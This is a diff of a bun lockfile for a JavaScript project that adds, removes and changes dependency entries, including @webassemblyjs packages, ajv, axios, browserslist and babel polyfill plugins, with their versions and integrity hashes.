@@ -2219,8 +2023,6 @@
"@types/yargs-parser": ["@types/yargs-parser@21.0.3", "", {}, "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ=="],
- "@types/yauzl": ["@types/yauzl@2.10.3", "", { "dependencies": { "@types/node": "*" } }, "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q=="],
-
"@typescript-eslint/eslint-plugin": ["@typescript-eslint/eslint-plugin@8.24.0", "", { "dependencies": { "@eslint-community/regexpp": "^4.10.0", "@typescript-eslint/scope-manager": "8.24.0", "@typescript-eslint/type-utils": "8.24.0", "@typescript-eslint/utils": "8.24.0", "@typescript-eslint/visitor-keys": "8.24.0", "graphemer": "^1.4.0", "ignore": "^5.3.1", "natural-compare": "^1.4.0", "ts-api-utils": "^2.0.1" }, "peerDependencies": { "@typescript-eslint/parser": "^8.0.0 || ^8.0.0-alpha.0", "eslint": "^8.57.0 || ^9.0.0", "typescript": ">=4.8.4 <5.8.0" } }, "sha512-aFcXEJJCI4gUdXgoo/j9udUYIHgF23MFkg09LFz2dzEmU0+1Plk4rQWv/IYKvPHAtlkkGoB3m5e6oUp+JPsNaQ=="],
"@typescript-eslint/parser": ["@typescript-eslint/parser@8.24.0", "", { "dependencies": { "@typescript-eslint/scope-manager": "8.24.0", "@typescript-eslint/types": "8.24.0", "@typescript-eslint/typescript-estree": "8.24.0", "@typescript-eslint/visitor-keys": "8.24.0", "debug": "^4.3.4" }, "peerDependencies": { "eslint": "^8.57.0 || ^9.0.0", "typescript": ">=4.8.4 <5.8.0" } }, "sha512-MFDaO9CYiard9j9VepMNa9MTcqVvSny2N4hkY6roquzj8pdCBRENhErrteaQuu7Yjn1ppk0v1/ZF9CG3KIlrTA=="],
@@ -2237,8 +2039,6 @@
"@typescript-eslint/visitor-keys": ["@typescript-eslint/visitor-keys@8.24.0", "", { "dependencies": { "@typescript-eslint/types": "8.24.0", "eslint-visitor-keys": "^4.2.0" } }, "sha512-kArLq83QxGLbuHrTMoOEWO+l2MwsNS2TGISEdx8xgqpkbytB07XmlQyQdNDrCc1ecSqx0cnmhGvpX+VBwqqSkg=="],
- "@typespec/ts-http-runtime": ["@typespec/ts-http-runtime@0.3.4", "", { "dependencies": { "http-proxy-agent": "^7.0.0", "https-proxy-agent": "^7.0.0", "tslib": "^2.6.2" } }, "sha512-CI0NhTrz4EBaa0U+HaaUZrJhPoso8sG7ZFya8uQoBA57fjzrjRSv87ekCjLZOFExN+gXE/z0xuN2QfH4H2HrLQ=="],
-
"@ungap/structured-clone": ["@ungap/structured-clone@1.3.0", "", {}, "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g=="],
"@unrs/resolver-binding-android-arm-eabi": ["@unrs/resolver-binding-android-arm-eabi@1.11.1", "", { "os": "android", "cpu": "arm" }, "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw=="],
@@ -2279,14 +2079,48 @@
"@unrs/resolver-binding-win32-x64-msvc": ["@unrs/resolver-binding-win32-x64-msvc@1.11.1", "", { "os": "win32", "cpu": "x64" }, "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g=="],
- "@upsetjs/venn.js": ["@upsetjs/venn.js@2.0.0", "", { "optionalDependencies": { "d3-selection": "^3.0.0", "d3-transition": "^3.0.1" } }, "sha512-WbBhLrooyePuQ1VZxrJjtLvTc4NVfpOyKx0sKqioq9bX1C1m7Jgykkn8gLrtwumBioXIqam8DLxp88Adbue6Hw=="],
+ "@vitejs/plugin-react": ["@vitejs/plugin-react@4.3.4", "", { "dependencies": { "@babel/core": "^7.26.0", "@babel/plugin-transform-react-jsx-self": "^7.25.9", "@babel/plugin-transform-react-jsx-source": "^7.25.9", "@types/babel__core": "^7.20.5", "react-refresh": "^0.14.2" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0" } }, "sha512-SCCPBJtYLdE8PX/7ZQAs1QAZ8Jqwih+0VBLum1EGqmCCQal+MIUqLCzj3ZUy8ufbC0cAM4LRlSTm7IQJwWT4ug=="],
- "@vitejs/plugin-react": ["@vitejs/plugin-react@5.1.4", "", { "dependencies": { "@babel/core": "^7.29.0", "@babel/plugin-transform-react-jsx-self": "^7.27.1", "@babel/plugin-transform-react-jsx-source": "^7.27.1", "@rolldown/pluginutils": "1.0.0-rc.3", "@types/babel__core": "^7.20.5", "react-refresh": "^0.18.0" }, "peerDependencies": { "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-VIcFLdRi/VYRU8OL/puL7QXMYafHmqOnwTZY50U1JPlCNj30PxCMx65c494b1K9be9hX83KVt0+gTEwTWLqToA=="],
+ "@webassemblyjs/ast": ["@webassemblyjs/ast@1.12.1", "", { "dependencies": { "@webassemblyjs/helper-numbers": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6" } }, "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg=="],
+
+ "@webassemblyjs/floating-point-hex-parser": ["@webassemblyjs/floating-point-hex-parser@1.11.6", "", {}, "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw=="],
+
+ "@webassemblyjs/helper-api-error": ["@webassemblyjs/helper-api-error@1.11.6", "", {}, "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q=="],
+
+ "@webassemblyjs/helper-buffer": ["@webassemblyjs/helper-buffer@1.12.1", "", {}, "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw=="],
+
+ "@webassemblyjs/helper-numbers": ["@webassemblyjs/helper-numbers@1.11.6", "", { "dependencies": { "@webassemblyjs/floating-point-hex-parser": "1.11.6", "@webassemblyjs/helper-api-error": "1.11.6", "@xtuc/long": "4.2.2" } }, "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g=="],
+
+ "@webassemblyjs/helper-wasm-bytecode": ["@webassemblyjs/helper-wasm-bytecode@1.11.6", "", {}, "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA=="],
+
+ "@webassemblyjs/helper-wasm-section": ["@webassemblyjs/helper-wasm-section@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/wasm-gen": "1.12.1" } }, "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g=="],
+
+ "@webassemblyjs/ieee754": ["@webassemblyjs/ieee754@1.11.6", "", { "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg=="],
+
+ "@webassemblyjs/leb128": ["@webassemblyjs/leb128@1.11.6", "", { "dependencies": { "@xtuc/long": "4.2.2" } }, "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ=="],
+
+ "@webassemblyjs/utf8": ["@webassemblyjs/utf8@1.11.6", "", {}, "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA=="],
+
+ "@webassemblyjs/wasm-edit": ["@webassemblyjs/wasm-edit@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/helper-wasm-section": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-opt": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1", "@webassemblyjs/wast-printer": "1.12.1" } }, "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g=="],
+
+ "@webassemblyjs/wasm-gen": ["@webassemblyjs/wasm-gen@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w=="],
+
+ "@webassemblyjs/wasm-opt": ["@webassemblyjs/wasm-opt@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-buffer": "1.12.1", "@webassemblyjs/wasm-gen": "1.12.1", "@webassemblyjs/wasm-parser": "1.12.1" } }, "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg=="],
+
+ "@webassemblyjs/wasm-parser": ["@webassemblyjs/wasm-parser@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@webassemblyjs/helper-api-error": "1.11.6", "@webassemblyjs/helper-wasm-bytecode": "1.11.6", "@webassemblyjs/ieee754": "1.11.6", "@webassemblyjs/leb128": "1.11.6", "@webassemblyjs/utf8": "1.11.6" } }, "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ=="],
+
+ "@webassemblyjs/wast-printer": ["@webassemblyjs/wast-printer@1.12.1", "", { "dependencies": { "@webassemblyjs/ast": "1.12.1", "@xtuc/long": "4.2.2" } }, "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA=="],
"@xmldom/is-dom-node": ["@xmldom/is-dom-node@1.0.1", "", {}, "sha512-CJDxIgE5I0FH+ttq/Fxy6nRpxP70+e2O048EPe85J2use3XKdatVM7dDVvFNjQudd9B49NPoZ+8PG49zj4Er8Q=="],
"@xmldom/xmldom": ["@xmldom/xmldom@0.8.10", "", {}, "sha512-2WALfTl4xo2SkGCYRt6rDTFfk9R1czmBvUQy12gK2KuRKIpWEhcbbzy8EZXtz/jkRqHX8bFEc6FC1HjX4TUWYw=="],
+ "@xtuc/ieee754": ["@xtuc/ieee754@1.2.0", "", {}, "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA=="],
+
+ "@xtuc/long": ["@xtuc/long@4.2.2", "", {}, "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ=="],
+
+ "abab": ["abab@2.0.6", "", {}, "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA=="],
+
"abbrev": ["abbrev@1.1.1", "", {}, "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q=="],
"abstract-logging": ["abstract-logging@2.0.1", "", {}, "sha512-2BjRTZxTPvheOvGbBslFSYOUkr+SjPtOnrLP33f+VIWLzezQpZcqVg7ja3L4dBXmzzgwT+a029jRx5PCi3JuiA=="],
@@ -2295,6 +2129,8 @@
"acorn": ["acorn@8.15.0", "", { "bin": "bin/acorn" }, "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg=="],
+ "acorn-globals": ["acorn-globals@7.0.1", "", { "dependencies": { "acorn": "^8.1.0", "acorn-walk": "^8.0.2" } }, "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q=="],
+
"acorn-import-attributes": ["acorn-import-attributes@1.9.5", "", { "peerDependencies": { "acorn": "^8" } }, "sha512-n02Vykv5uA3eHGM/Z2dQrcD56kL8TyDb2p1+0P83PClMnC/nc+anbQRhIOWnSq4Ke/KvDPrY3C9hDtC/A3eHnQ=="],
"acorn-jsx": ["acorn-jsx@5.3.2", "", { "peerDependencies": { "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" } }, "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ=="],
@@ -2303,12 +2139,12 @@
"agent-base": ["agent-base@7.1.4", "", {}, "sha512-MnA+YT8fwfJPgBx3m60MNqakm30XOkyIoH1y6huTQvC0PwZG7ki8NacLBcrPbNoo8vEZy7Jpuk7+jMO+CUovTQ=="],
- "ai-tokenizer": ["ai-tokenizer@1.0.6", "", { "peerDependencies": { "ai": "^5.0.0" }, "optionalPeers": ["ai"] }, "sha512-GaakQFxen0pRH/HIA4v68ZM40llCH27HUYUSBLK+gVuZ57e53pYJe1xFvSTj4sJJjbWU92m1X6NjPWyeWkFDow=="],
-
- "ajv": ["ajv@6.14.0", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw=="],
+ "ajv": ["ajv@6.12.6", "", { "dependencies": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g=="],
"ajv-formats": ["ajv-formats@3.0.1", "", { "dependencies": { "ajv": "^8.0.0" }, "peerDependencies": { "ajv": "^8.0.0" } }, "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ=="],
+ "ajv-keywords": ["ajv-keywords@3.5.2", "", { "peerDependencies": { "ajv": "^6.9.1" } }, "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ=="],
+
"anser": ["anser@2.1.1", "", {}, "sha512-nqLm4HxOTpeLOxcmB3QWmV5TcDFhW9y/fyQ+hivtDFcK4OQ+pQ5fzPnXHM1Mfcm0VkLtvVi1TCPr++Qy0Q/3EQ=="],
"ansi-escapes": ["ansi-escapes@4.3.2", "", { "dependencies": { "type-fest": "^0.21.3" } }, "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ=="],
@@ -2325,7 +2161,7 @@
"arg": ["arg@4.1.3", "", {}, "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA=="],
- "argparse": ["argparse@1.0.10", "", { "dependencies": { "sprintf-js": "~1.0.2" } }, "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg=="],
+ "argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
"aria-hidden": ["aria-hidden@1.2.6", "", { "dependencies": { "tslib": "^2.0.0" } }, "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA=="],
@@ -2369,13 +2205,13 @@
"at-least-node": ["at-least-node@1.0.0", "", {}, "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg=="],
- "autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="],
+ "autoprefixer": ["autoprefixer@10.4.20", "", { "dependencies": { "browserslist": "^4.23.3", "caniuse-lite": "^1.0.30001646", "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", "picocolors": "^1.0.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": "bin/autoprefixer" }, "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g=="],
"available-typed-arrays": ["available-typed-arrays@1.0.7", "", { "dependencies": { "possible-typed-array-names": "^1.0.0" } }, "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ=="],
"axe-core": ["axe-core@4.10.2", "", {}, "sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w=="],
- "axios": ["axios@1.13.6", "", { "dependencies": { "follow-redirects": "^1.15.11", "form-data": "^4.0.5", "proxy-from-env": "^1.1.0" } }, "sha512-ChTCHMouEe2kn713WHbQGcuYrr6fXTBiu460OTwWrWob16g1bXn4vtz07Ope7ewMozJAnEquLk5lWQWtBig9DQ=="],
+ "axios": ["axios@1.12.1", "", { "dependencies": { "follow-redirects": "^1.15.6", "form-data": "^4.0.4", "proxy-from-env": "^1.1.0" } }, "sha512-Kn4kbSXpkFHCGE6rBFNwIv0GQs4AvDT80jlveJDKFxjbTYMUeB4QtsdPCv6H8Cm19Je7IU6VFtRl2zWZI0rudQ=="],
"axobject-query": ["axobject-query@4.1.0", "", {}, "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ=="],
@@ -2387,11 +2223,11 @@
"babel-plugin-jest-hoist": ["babel-plugin-jest-hoist@30.2.0", "", { "dependencies": { "@types/babel__core": "^7.20.5" } }, "sha512-ftzhzSGMUnOzcCXd6WHdBGMyuwy15Wnn0iyyWGKgBDLxf9/s5ABuraCSpBX2uG0jUg4rqJnxsLc5+oYBqoxVaA=="],
- "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
+ "babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.12", "", { "dependencies": { "@babel/compat-data": "^7.22.6", "@babel/helper-define-polyfill-provider": "^0.6.3", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og=="],
- "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
+ "babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.11.1", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3", "core-js-compat": "^3.40.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-yGCqvBT4rwMczo28xkH/noxJ6MZ4nJfkVYdoDaC/utLtWrXxv27HVrzAeSbqR8SxDsp46n0YF47EbHoixy6rXQ=="],
- "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
+ "babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.3", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.3" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q=="],
"babel-plugin-replace-ts-export-assignment": ["babel-plugin-replace-ts-export-assignment@0.0.2", "", {}, "sha512-BiTEG2Ro+O1spuheL5nB289y37FFmz0ISE6GjpNCG2JuA/WNcuEHSYw01+vN8quGf208sID3FnZFDwVyqX18YQ=="],
@@ -2417,7 +2253,7 @@
"base64url": ["base64url@3.0.1", "", {}, "sha512-ir1UPr3dkwexU7FdV8qBBbNDRUhMmIekYMFZfi+C/sLNnRESKPl23nB9b2pltqfOQNnGzsDdId90AEtG5tCx4A=="],
- "baseline-browser-mapping": ["baseline-browser-mapping@2.10.0", "", { "bin": { "baseline-browser-mapping": "dist/cli.cjs" } }, "sha512-lIyg0szRfYbiy67j9KN8IyeD7q7hcmqnJ1ddWmNt19ItGpNN64mnllmxUNFIOdOm6by97jlL6wfpTTJrmnjWAA=="],
+ "baseline-browser-mapping": ["baseline-browser-mapping@2.8.28", "", { "bin": "dist/cli.js" }, "sha512-gYjt7OIqdM0PcttNYP2aVrr2G0bMALkBaoehD4BuRGjAOtipg0b6wHg1yNL+s5zSnLZZrGHOw4IrND8CD+3oIQ=="],
"bcryptjs": ["bcryptjs@2.4.3", "", {}, "sha512-V/Hy/X9Vt7f3BbPJEi8BdVFMByHi+jNXrYkW3huaybV/kQ0KJg0Y6PkEMbn+zeT+i+SiKZ/HMqJGIIt4LZDqNQ=="],
@@ -2425,11 +2261,9 @@
"binary-extensions": ["binary-extensions@2.2.0", "", {}, "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="],
- "bluebird": ["bluebird@3.4.7", "", {}, "sha512-iD3898SR7sWVRHbiQv+sHUtHnMvC1o3nW5rAcqnq3uOn07DSAppZYUkIGslDz6gXC7HfunPe7YVBgoEJASPcHA=="],
-
"bn.js": ["bn.js@4.12.1", "", {}, "sha512-k8TVBiPkPJT9uHLdOKfFpqcfprwBFOAAXXozRubr7R7PfIuKvQlzcI4M0pALeqXN09vdaMbUdUj+pass+uULAg=="],
- "body-parser": ["body-parser@2.2.2", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.3", "http-errors": "^2.0.0", "iconv-lite": "^0.7.0", "on-finished": "^2.4.1", "qs": "^6.14.1", "raw-body": "^3.0.1", "type-is": "^2.0.1" } }, "sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="],
+ "body-parser": ["body-parser@2.2.0", "", { "dependencies": { "bytes": "^3.1.2", "content-type": "^1.0.5", "debug": "^4.4.0", "http-errors": "^2.0.0", "iconv-lite": "^0.6.3", "on-finished": "^2.4.1", "qs": "^6.14.0", "raw-body": "^3.0.0", "type-is": "^2.0.0" } }, "sha512-02qvAaxv8tp7fBa/mw1ga98OGm+eCbqzJOKoRt70sLmfEEi+jyBYVTDGfCL/k06/4EMk/z01gCe7HoCH/f2LTg=="],
"boolbase": ["boolbase@1.0.0", "", {}, "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="],
@@ -2455,7 +2289,7 @@
"browserify-zlib": ["browserify-zlib@0.2.0", "", { "dependencies": { "pako": "~1.0.5" } }, "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA=="],
- "browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="],
+ "browserslist": ["browserslist@4.24.4", "", { "dependencies": { "caniuse-lite": "^1.0.30001688", "electron-to-chromium": "^1.5.73", "node-releases": "^2.0.19", "update-browserslist-db": "^1.1.1" }, "bin": "cli.js" }, "sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A=="],
"bser": ["bser@2.1.1", "", { "dependencies": { "node-int64": "^0.4.0" } }, "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ=="],
@@ -2517,12 +2351,10 @@
"cheerio-select": ["cheerio-select@2.1.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-select": "^5.1.0", "css-what": "^6.1.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3", "domutils": "^3.0.1" } }, "sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g=="],
- "chevrotain": ["chevrotain@11.1.2", "", { "dependencies": { "@chevrotain/cst-dts-gen": "11.1.2", "@chevrotain/gast": "11.1.2", "@chevrotain/regexp-to-ast": "11.1.2", "@chevrotain/types": "11.1.2", "@chevrotain/utils": "11.1.2", "lodash-es": "4.17.23" } }, "sha512-opLQzEVriiH1uUQ4Kctsd49bRoFDXGGSC4GUqj7pGyxM3RehRhvTlZJc1FL/Flew2p5uwxa1tUDWKzI4wNM8pg=="],
-
- "chevrotain-allstar": ["chevrotain-allstar@0.3.1", "", { "dependencies": { "lodash-es": "^4.17.21" }, "peerDependencies": { "chevrotain": "^11.0.0" } }, "sha512-b7g+y9A0v4mxCW1qUhf3BSVPg+/NvGErk/dOkrDaHA0nQIQGAtrOjlX//9OQtRlSCy+x9rfB5N8yC71lH1nvMw=="],
-
